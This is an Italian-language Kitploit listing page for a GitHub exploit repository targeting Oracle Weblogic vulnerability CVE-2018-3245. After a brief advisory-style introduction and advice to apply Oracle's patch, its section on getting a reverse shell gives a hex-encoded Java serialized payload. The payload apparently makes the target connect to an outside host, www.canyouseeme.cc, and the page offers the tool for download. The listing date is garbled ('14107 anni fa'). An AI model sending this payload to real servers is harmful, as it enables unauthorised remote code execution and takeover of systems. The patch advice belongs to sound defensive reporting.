Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-3245 — CVE-2018-3245 | Kitploit
Strumenti/GitHubGitHub/jas502n/cve-2018-3245
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubjas502n/cve-2018-3245

CVE-2018-3245

CVE-2018-3245

Vedi Repository
14107 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Weblogic-CVE-2018-3245

CVE-2018-3245

0x00 Introduzione

Il 16 ottobre, ora locale, e il 17 ottobre, ora di Pechino, Oracle ha rilasciato il Critical Patch Update (CPU) di ottobre (terzo trimestre),

che ha risolto una vulnerabilità di esecuzione remota di codice in Weblogic (CVE-2018-2893) non completamente corretta nel CPU di luglio (secondo trimestre). La nuova vulnerabilità risolta è identificata come CVE-2018-3245.

Soluzione

Oracle ha risolto questa vulnerabilità nell'attuale aggiornamento critico (CPU). Si consiglia vivamente agli utenti interessati di applicare quanto prima l'aggiornamento per proteggersi.

Nota: La patch ufficiale Oracle richiede un account di licenza per il software originale. Accedendo a https://support.oracle.com con tale account, è possibile scaricare l'ultima patch.

Collegamento CPU ufficiale Oracle:

https://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html

0x01 Ottenere una shell inversa

root@kitploit:~
jas502n-poc.txt 

Payload(hex): aced00057372002f636f6d2e73756e2e6a6e64692e726d692e72656769737472792e5265666572656e6365577261707065725f5374756200000000000000020200007872001a6a6176612e726d692e7365727665722e52656d6f746553747562e9fedcc98be1651a0200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e0300007870773b000a556e696361737452656600127777772e63616e796f757365656d652e636300001a0c0000000009e0b68e00000000000000000000000000000078

Scarica lo strumento